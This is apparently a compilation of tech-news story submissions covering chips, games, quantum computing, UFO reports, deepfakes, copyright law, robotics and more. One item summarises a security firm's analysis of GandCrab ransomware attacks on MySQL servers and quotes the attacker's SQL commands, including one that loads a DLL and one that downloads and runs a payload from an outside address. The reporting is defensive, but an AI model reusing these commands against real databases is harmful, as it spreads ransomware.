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NPC-131072 writes:

From ieee spectrum

Engineers at Georgia Tech say they've come up with a programmable prototype chip that efficiently solves a huge class of optimization problems, including those needed for neural network training, 5G network routing, and MRI image reconstruction. The chip's architecture embodies a particular algorithm that breaks up one huge problem into many small problems, works on the subproblems, and shares the results. It does this over and over until it comes up with the best answer. Compared to a GPU running the algorithm, the prototype chip—called OPTIMO—is 4.77 times as power efficient and 4.18 times as fast.

[...] The test chip was made up of a grid of 49 "optimization processing units," cores designed to perform ADMM and containing their own high-bandwidth memory. The units were connected to each other in a way that speeds ADMM. Portions of data are distributed to each unit, and they set about solving their individual subproblems. Their results are then gathered, and the data is adjusted and resent to the optimization units to perform the next iteration. The network that connects the 49 units is specifically designed to speed this gather and scatter process.

Original Submission

takyon writes:

Quake II gets free real-time raytracing updates on June 6

While Quake II's fast-paced first-person shooter gameplay might be timeless, the 22 years since the game's release have not been kind to its muddy textures, pointy polygons, and extremely basic light modeling. Nvidia is looking to fix that with an updated, real-time ray-traced version of the game, dubbed Quake II RTX.

Windows and Linux users will be able to download the first three levels of the graphically updated game as shareware starting at 6am Pacific Time on June 6. You can play the remaining levels and multiplayer if you point the installer to a legit copy of the full game on your hard drive. The source code for the Vulkan-based update will be posted on Github as well, though Quake II expansion packs will not be supported without extra effort from the community.

"It's rare that a PC game has the impact and longevity of Quake II, and seeing it reimagined with ray tracing 20 years later is something special for me," id Software Studio Director Tim Willits wrote in an announcement post.

Original Submission

Arthur T Knackerbracket has found the following story:

Most of our building practices aren't especially sustainable. Concrete production is a major source of carbon emissions, and steel production is very resource intensive. Once completed, heating and cooling buildings becomes a major energy sink. There are various ideas on how to handle each of these issues, like variations on concrete's chemical formula or passive cooling schemes.

But now, a large team of US researchers has found a single solution that appears to manage everything using a sustainable material that both reflects sunlight and radiates away excess heat. The miracle material? Wood. Or a form of wood that has been treated to remove one of its two main components.

[...] But rather than simply being structurally useful, the wood has some properties that could make it extremely useful as cladding, covering the exterior of a building. While most of the cellulose fibers are aligned along the grain of the wood, that alignment is very rough—there's plenty of variability in their orientation. That means light that strikes the processed wood will bounce around within a dense mesh of cellulose fibers, scattering widely in the process. The end result is a material that looks remarkably white, in the same way a sugar cube looks white even though each sugar crystal in it is transparent.

As a result, the material is really bad at absorbing sunlight, and thus it doesn't capture the heat in the same way regular wood does.

But it gets better. The sugars in cellulose are effective emitters of infrared radiation, and they do so in two areas of the spectrum where none of our atmospheric gases is able to reabsorb it. The end result is that, if the treated wood absorbs some of the heat of a structure, wood can radiate it away so that it leaves the planet entirely. And the wood is able to do so even while it's being blasted by direct sunlight; the researchers confirmed this by putting a small heater inside a box made of the treated wood and then sticking it in the sunlight in Arizona.

Original Submission

takyon writes:

IBM Plans to Commercialize 58-Qubit Quantum Computer

Norishige Morimoto, Director of IBM Research in Tokyo and global vice president at IBM, said that IBM intends to commercialize quantum computers within 3-5 years, when he expects quantum computers to outperform supercomputers in specific domains.

[...] The company's latest System Q One quantum computing system has a 20-qubit quantum processor with a quantum volume of 16. Quantum volume is a quantum computing performance metric IBM believes is more accurate than just using qubits alone. Quantum volume uses a combination of the number of qubits and error rate to determine the real-world performance of a quantum processor. The company is currently giving others free and paid access to its existing quantum computers.

IBM, Google and others have said before that to achieve quantum supremacy, a quantum computer needs at least 50 qubits. Morimoto said that IBM plans to launch a next-generation 58-qubit quantum computer that can outperform supercomputers and thus are suitable for commercialization.

However, don't expect to own one of these any time soon, as they will require a working environment with a temperature of -273 degrees Celsius to protect the qubits from interference. As such, IBM believes that this sort of quantum computer will work best as a companion to classical supercomputers.

Room temperature or bust.

Previously: IBM Announces Working Prototype of a 50-Qubit Quantum Computer
IBM Announces its First Commercially Available Quantum Computer (20 qubits)
IBM's New Quantum Computer Will Have You Drooling

Original Submission

martyb writes:

'Wow, What Is That?' Navy Pilots Report Unexplained Flying Objects:

The strange objects, one of them like a spinning top moving against the wind, appeared almost daily from the summer of 2014 to March 2015, high in the skies over the East Coast. Navy pilots reported to their superiors that the objects had no visible engine or infrared exhaust plumes, but that they could reach 30,000 feet and hypersonic speeds.

"These things would be out there all day," said Lt. Ryan Graves, an F/A-18 Super Hornet pilot who has been with the Navy for 10 years, and who reported his sightings to the Pentagon and Congress. "Keeping an aircraft in the air requires a significant amount of energy. With the speeds we observed, 12 hours in the air is 11 hours longer than we'd expect."

In late 2014, a Super Hornet pilot had a near collision with one of the objects, and an official mishap report was filed. Some of the incidents were videotaped, including one taken by a plane's camera in early 2015 that shows an object zooming over the ocean waves as pilots question what they are watching.

"Wow, what is that, man?" one exclaims. "Look at it fly!"

No one in the Defense Department is saying that the objects were extraterrestrial, and experts emphasize that earthly explanations can generally be found for such incidents. Lieutenant Graves and four other Navy pilots, who said in interviews with The New York Times that they saw the objects in 2014 and 2015 in training maneuvers from Virginia to Florida off the aircraft carrier Theodore Roosevelt, make no assertions of their provenance.

But the objects have gotten the attention of the Navy, which earlier this year sent out new classified guidance for how to report what the military calls unexplained aerial phenomena, or unidentified flying objects.

Note: To view the imbedded video, Javascript must be enabled.

See also: 2 Navy Airmen and an Object That 'Accelerated Like Nothing I've Ever Seen'.

Original Submission

Arthur T Knackerbracket has found the following story:

For nearly three weeks, Baltimore has struggled with a cyberattack by digital extortionists that has frozen thousands of computers, shut down email and disrupted real estate sales, water bills, health alerts and many other services.

But here is what frustrated city employees and residents do not know: A key component of the malware that cybercriminals used in the attack was developed at taxpayer expense a short drive down the Baltimore-Washington Parkway at the National Security Agency, according to security experts briefed on the case.

Since 2017, when the N.S.A. lost control of the tool, EternalBlue, it has been picked up by state hackers in North Korea, Russia and, more recently, China, to cut a path of destruction around the world, leaving billions of dollars in damage. But over the past year, the cyberweapon has boomeranged back and is now showing up in the N.S.A.’s own backyard.

It is not just in Baltimore. Security experts say EternalBlue attacks have reached a high, and cybercriminals are zeroing in on vulnerable American towns and cities, from Pennsylvania to Texas, paralyzing local governments and driving up costs.

The N.S.A. connection to the attacks on American cities has not been previously reported, in part because the agency has refused to discuss or even acknowledge the loss of its cyberweapon, dumped online in April 2017 by a still-unidentified group calling itself the Shadow Brokers. Years later, the agency and the Federal Bureau of Investigation still do not know whether the Shadow Brokers are foreign spies or disgruntled insiders.

Thomas Rid, a cybersecurity expert at Johns Hopkins University, called the Shadow Brokers episode “the most destructive and costly N.S.A. breach in history,” more damaging than the better-known leak in 2013 from Edward Snowden, the former N.S.A. contractor.

“The government has refused to take responsibility, or even to answer the most basic questions,” Mr. Rid said. “Congressional oversight appears to be failing. The American people deserve an answer.”

Original Submission

takyon writes:

Artificial life form given 'synthetic DNA'

UK scientists have created an artificial version of the stomach bug E. coli that is based on an entirely synthetic form of DNA. At the same time, Syn61 as they are calling it, has had its genetic code significantly redesigned. It's been done in a manner that will pave the way for designer bacteria that could manufacture new catalysts, drugs, proteins and materials.

[...] Syn61's 4 million genetic letters make this the largest entire genome to be synthesised from scratch. They were ordered in short segments from a laboratory supplies company, before being assembled into half-million-letter lengths in yeast cells by natural cellular machinery.

At this point, the genome engineers' job became a bit like a railway engineer's maintenance programme - replacing the E. coli genome piecewise - section by section - rather than all at once. "The bacterial chromosome is so big," team leader Jason Chin told the BBC, "we needed an approach that would let us see what had gone wrong if there had been any mistakes along the way." So it was only after each half-million-letter segment had been tested in partially synthetic bacteria that the eight segments were brought together in Syn61.

The approach is more cautious than that used by bio-entrepreneur, Craig Venter, whose microbial replicant based on the tiny organism Mycoplasma genitalium was presented to the world in 2010.

Also at PLOS, NYT, and Smithsonian.

Total synthesis of Escherichia coli with a recoded genome (DOI: 10.1038/s41586-019-1192-5) (DX)

Original Submission

RandomFactor writes:

The government of Poland has filed a complaint with the European Court of Justice against coypright rules adopted in April.

"This system may result in adopting regulations that are analogous to preventive censorship, which is forbidden not only in the Polish constitution but also in the EU treaties," Deputy Foreign Minister Konrad Szymanski told public broadcaster TVP Info.

Notably, Poland opposed the measure, and did so

despite the national newspapers running blank front pages the day before the key vote, with op-eds threatening retaliation against Polish politicians who crossed them.

The directive passed by five votes, but possibly it shouldn't have included the two most controversial provisions.

In the EU, if a Member of the Parliament presses the wrong button on a vote, they can have the record amended to show what their true intention was, but the vote is binding.

Today, the European Parliament voted to pass the whole Copyright Directive without a debate on Articles 11 and 13 by a margin of five votes.

But actually, a group of Swedish MEPs have revealed that they pressed the wrong button, and have asked to have the record corrected. They have issued a statement saying they'd intended to open a debate on amendments to the Directive so they could help vote down Articles 11 and 13.

Previous coverage
Europe's Controversial Overhaul of Online Copyright Receives Final Approval
EU Copyright Directive Vote Set for Tuesday
It Sure Sounds Like Elizabeth Warren Wants To Bring The EU Copyright Directive Stateside
Tens of thousands rally across Europe protesting EU Copyright 'Reform'
Protesters Will March Against the European Copyright Directive on the 23rd, Ahead of Final Vote

Original Submission

takyon writes:

GitHub launches Sponsors, a Patreon-style funding tool for developers

GitHub is adding the ability for developers to accept recurring monthly payments from supporters, who can fund their work on open-source software. The feature, called GitHub Sponsors, works exactly like Patreon. Developers can offer various funding tiers that come with different perks, and they'll receive recurring payments from supporters who want to access them and encourage their work.

Bringing this model to GitHub could be a huge addition for developers of open-source software. By its nature, developing open-source software — which anyone can freely use — isn't profitable, but open-source software is critical to much of the tech we use every day, from the core of Android to small tools embedded inside larger programs. Developers can already turn to Patreon or other funding platforms to raise money, but building this tool directly into GitHub, the leading repository for open-source software, could make that even easier for them.

Also at TechCrunch, Engadget, and Lifehacker.

Original Submission

Phoenix666 writes:

New Atlas:

Last time we wrote about the HyQ robot, it had just mastered walking and begun venturing into rough terrain. Now, its successor has do[sic] so with a three-ton passenger airplane in tow. Granted seven years of research and development have played out since, it is an impressive show of strength for hydraulically actuated robot not much bigger than a dog.

In its current form, HyQReal is 133 cm long and 90 cm tall (4.3 x 3 in)[sic *], while its total weight comes to 130 kg (287 lb). In the engine room is a 48-V battery that powers four electric motors, which hook up to four hydraulic pumps to make the robot move. A pair of computers, meanwhile, help the HyQReal navigate its surroundings.

A video of the towing effort is available on YouTube.

If they can figure out how to power it by digesting organic material, say, grass, then they will have invented the Clydesdale!

[*] 133 cm ~ 52 inches; 90 cm ~ 35 inches; I have absolutely no idea how the author came up with those conversions! --martyb

Original Submission

RandomFactor writes:

Currently to get a realistic Deep Fake, shots from multiple angles are needed. Russian researchers have now taken this a step further, generating realistic video sequences based off a single photo.

Researchers trained the algorithm to understand facial features' general shapes and how they behave relative to each other, and then to apply that information to still images. The result was a realistic video sequence of new facial expressions from a single frame.

As a demonstration, they provide details and synthesized video sequences of historical figures such as Albert Einstein and Salvador Dali, as well as sequences based on paintings such as the Mona Lisa.

The authors are aware of the potential downsides of their technology and address this:

We realize that our technology can have a negative use for the so-called "deepfake" videos. However, it is important to realize, that Hollywood has been making fake videos (aka "special effects") for a century, and deep networks with similar capabilities have been available for the past several years (see links in the paper). Our work (and quite a few parallel works) will lead to the democratization of the certain special effects technologies. And the democratization of the technologies has always had negative effects. Democratizing sound editing tools lead to the rise of pranksters and fake audios, democratizing video recording lead to the appearance of footage taken without consent. In each of the past cases, the net effect of democratization on the World has been positive, and mechanisms for stemming the negative effects have been developed. We believe that the case of neural avatar technology will be no different. Our belief is supported by the ongoing development of tools for fake video detection and face spoof detection alongside with the ongoing shift for privacy and data security in major IT companies.

While it works with as few as one frame to learn from, the technology benefits in accuracy and 'identity preservation' from having multiple frames available. This becomes obvious when observing the synthesized Mona Lisa sequences, which, while accurate to the original, appear to be essentially three different individuals to the human eye watching them.

Journal Reference: https://arxiv.org/abs/1905.08233v1

Related Coverage
Most Deepfake Videos Have One Glaring Flaw: A Lack of Blinking
My Struggle With Deepfakes
Discord Takes Down "Deepfakes" Channel, Citing Policy Against "Revenge Porn"
AI-Generated Fake Celebrity Porn Craze "Blowing Up" on Reddit
As Fake Videos Become More Realistic, Seeing Shouldn't Always be Believing

Original Submission

takyon writes:

At Computex 2019 in Taipei, AMD CEO Lisa Su gave a keynote presentation announcing the first "7nm" Navi GPU and Ryzen 3000-series CPUs. All of the products will support PCI Express 4.0.

Contrary to recent reports, AMD says that the Navi microarchitecture is not based on Graphics Core Next (GCN), but rather a new "RDNA" macroarchitecture ('R' for Radeon), although the extent of the difference is not clear. There is also no conflict with Nvidia's naming scheme; the 5000-series naming is a reference to the company's 50th anniversary.

AMD claims that Navi GPUs will have 25% better performance/clock and 50% better performance/Watt vs. Vega GPUs. AMD Radeon RX 5700 is the first "7nm" Navi GPU to be announced. It was compared with Nvidia's GeForce RTX 2070, with the RX 5700 outperforming the RTX 2070 by 10% in the AMD-favorable game Strange Brigade. Pricing and other launch details will be revealed on June 10.

AMD also announced the first five Ryzen 3000-series CPUs, all of which will be released on July 7:

The Ryzen 9 3900X is the only CPU in the list using two core chiplets, each with 6 of 8 cores enabled. AMD has held back on releasing a 16-core monster for now. AMD compared the Ryzen 9 3900X to the $1,189 Intel Core i9-9920X, the Ryzen 7 3800X to the $499 Intel Core i9-9900K, and the Ryzen 7 3700X to the Intel Core i7-9700K, with the AMD chips outperforming the Intel chips in certain single and multi-threaded benchmarks (wait for the reviews before drawing any definitive conclusions). All five of the processors will come with a bundled cooler, as seen in this list.

upstart writes:

Submitted via IRC for Bytram

Under the dome: Fears Pacific nuclear 'coffin' is leaking

As nuclear explosions go, the US "Cactus" bomb test in May 1958 was relatively small—but it has left a lasting legacy for the Marshall Islands in a dome-shaped radioactive dump.

The dome—described by a UN chief Antonio Guterres as "a kind of coffin"—was built two decades after the blast in the Pacific ocean region.

The US military filled the bomb crater on Runit island with radioactive waste, capped it with concrete, and told displaced residents of the Pacific's remote Enewetak atoll they could safely return home.

But Runit's 45-centimetre (18-inch) thick concrete dome has now developed cracks.

And because the 115-metre wide crater was never lined, there are fears radioactive contaminants are leaching through the island's porous coral rock into the ocean.

The concerns have intensified amid climate change. Rising seas, encroaching on the low-lying nation, are threatening to undermine the dome's structural integrity.

Jack Ading, who represents the area in the Marshalls' parliament, calls the dome a "monstrosity".

"It is stuffed with radioactive contaminants that include plutonium-239, one of the most toxic substances known to man," he told AFP.

"The coffin is leaking its poison into the surrounding environment. And to make matters even worse, we're told not to worry about this leakage because the radioactivity outside of the dome is at least as bad as the radioactivity inside of it."

Original Submission

RandomFactor writes:

Sophos has uncovered a wave of attacks targeting servers running MySQL on Windows.

The attack delivers the GandCrab ransomware.

The attackers attempt to connect to the database server and establish that it is running a MySQL instance.

Then, the attacker uses the "set" command to upload all the bytes composing the helper DLL into memory in a variable and wrote out the contents of that variable to a database table named yongger2.

The attacker concatenates the bytes into one file and drops them into the server's plugin directory. The analysis of the DLL revealed it is used to add the xpdl3, xpdl3_deinit, and xpdl3_init functions to the database.

The attacker then drops the yongger2 table and the function xpdl3, if one already exists. At this point the attacker uses the following SQL command to create a database function (also named xpdl3) that is used to invoke the DLL:

CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll'

The command to invoke the xpdl3 function is:

select xpdl3('hxxp://172.96.14.134:5471/3306-1[.]exe','c:\\isetup.exe')

Using this attack scheme, the attacker instructs the database server to download the GandCrab payload from the remote machine and drops it in the root of the C: drive with the name isetup.exe and executes it.

Tracking back through the attack chain, the researchers determined that the malware was downloaded from the source ~3100 times since mid April. Each download potentially indicating an infection, although presumably some were, as in Sophos' case, honeypots where no actual damage was done. The user interface of the system (geolocated in Arizona) hosting the malware is in simplified Chinese.

While not a widespread attack by numbers, it does represent a significant risk to MySQL databases exposed online.

Detailed Analysis

Original Submission

An Anonymous Coward writes:

The World Socialist Web Site, publication of record of the ICFI (SEP), on May 24th released a report about the grim situation many millennials face:

The stock market is booming, and President Donald Trump is boasting at every turn that the unemployment rate is lower than it has been in five decades.

However, the working class, the vast majority of the population, is confronting an unprecedented social, economic, health and psychological crisis. The same processes that have produced vast sums of wealth for the ruling elite have left millions of workers on the brink of existence.

Perhaps no segment of the population reflects the devastating consequences of these processes so starkly as the generation of young people deemed the "millennials," those born roughly between the years 1981 and 1996. More than half the 72 million American millennials are now in their 30s, with the oldest turning 38 this year.

A recent exposé by the Wall Street Journal noted that millennials are "in worse financial shape than prior living generations and may not recover." The article, "Millennials Near Middle Age in Crisis," [paywalled] concludes by stating that people born in the 1980s are at risk of becoming "America's Lost generation."

Selected bullet points from the WSWS article:

• Millennials have taken on 300 percent more student debt than their parents' generation. [Source: The College Board, Trends in Student Aid 2013]
• By 2014, 48 percent of workers with bachelor's degrees are employed in jobs for which they're overqualified. [Source: Labor Economist Stephen Rose, published by Urban Institute.]
• The number of workers in the United States participating in the gig economy is expected to triple to 42 million workers by 2020, and 42 percent of those people are likely to be millennials. [Source: Freshbooks]
• Between 1978 and 2017, according to the EPI, CEO compensation rose in the US by 1,070 percent, while the typical worker's compensation over these 39 years rose by a mere 11.2 percent.
• In the 40 years leading up to the recession, rents increased at more than twice the rate of incomes. [Source: Joint Center for Housing Studies at Harvard University.]
• One in 5 millennials say they cannot afford routine healthcare expenses. Many of these millennials are uninsured because of the cost. An additional 26 percent say they can afford routine health-care costs, but only with difficulty. [Source: Harris Poll]
• Men and women in their thirties are marrying at rates below every other generation on record. [Source: The Atlantic, "The Death (and Life) of Marriage in America"]
• It is predicted that most millennials will not be able to retire until age 75. [Source: NerdWallet analysis of federal data]

The report concludes, "Far from becoming the 'Lost Generation' predicted by the Wall Street Journal, this generation of workers carries within it an enormous source of revolutionary potential."

[Ed. Note. I debated whether or not to run this story given the partisan source for the article, but the list of references suggested it was more than a simple opinion piece. So, are things really as grim as portrayed here? I'm too old to be a millennial, but have both personally experienced as well as witnessed many others facing the same trends listed here. Where do things go from here?]

Original Submission